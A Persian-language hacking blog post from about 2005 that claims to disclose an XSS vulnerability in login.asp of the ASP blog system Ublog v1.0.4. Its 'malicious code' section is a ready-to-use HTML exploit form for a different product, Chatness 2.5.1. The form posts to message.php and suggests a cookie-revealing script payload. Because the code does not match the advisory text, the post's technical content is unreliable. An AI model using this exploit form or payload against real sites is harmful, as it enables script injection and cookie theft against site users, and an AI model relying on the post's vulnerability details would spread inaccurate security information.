X
تبلیغات
رایتل
WwW.GodHacKers.CoM
WwW.GodHacKers.CoM
آرشیو

اخبار

تالار گفتمان
دریافت فایل

بهتیرین فایل

جدید ترین فایل

قدیمی ترین

تعداد دسته ها

تعداد فایل ها

فایل دانلود شده

Master

برای عضویت در خبرنامه این وبلاگ نام کاربری خود در سیستم بلاگ اسکای را وارد کنید
نام کاربری
آرشیو

اخبار

تالار گفتمان
دریافت فایل

بهتیرین فایل

جدید ترین فایل

قدیمی ترین

تعداد دسته ها

تعداد فایل ها

فایل دانلود شده

Master

موضوع بندی
جمعه 27 خرداد‌ماه سال 1384
کشف دو آسیب پذیری در برنامه Ublog v1.0.4

حفره ی جدید در برنامه Ublog v1.0.4

تاریخ کشف:
7 فروردین 1384
Mar 29, 2005

درباره برنامه:
Ublog یک سیستم اخبار یا وب لاگ می باشد که تحت زبان ASP نوشته شده است.
برای کسب اطلاعات بیشتر به سایت: Ublog مراجعه کنید.

آسیب پذیری:
آسیب پذیری با نام Cross-Site Scripting Vulnerability یا همان XSS که باعث می شود مهاجم یک سری کد های مخرب را روی این سیستم ایجاد کنید. این آسیب پذیری در قسمت login.asp این سیستم موجد است.
نسخه های آسیب پذیر:

Uapplication Ublog 1.0
Uapplication Ublog 1.0.3
Uapplication Ublog 1.0.4



کد مخرب:

CODE

<html>

<head>
<title>Chatness 2.5.1 Html Injection Exploit</title>
</head>

<body>

<h1>Chatness 2.5.1 Html Injection Exploit</h1>


<form method="POST" action="http://www.example.com/message.php">
<b>XSS in message.php:</b><p>
Username:
<input type="text" name="message" size="48" value="XSS Injection Code"></p>
<p>
<br>
example: &lt;script&gt;document.write(document.cookie)&lt;/script&gt;</p>
<p>&nbsp;<input type='submit' name='login' value='RUN!' class='button'></p>
</form>
<p>&nbsp;</p>
<p align="center"><a href="http://www.PersianHacker.NET">www.PersianHacker.NET</a></p>

</body>

</html>



اطلاعات بیشتر:
Security Focus bid
Security Focus Message


توسط : فرهاد کوشا
حق کپی رایت از سایت : www.persianhacker.net

عناوین آخرین یادداشت ها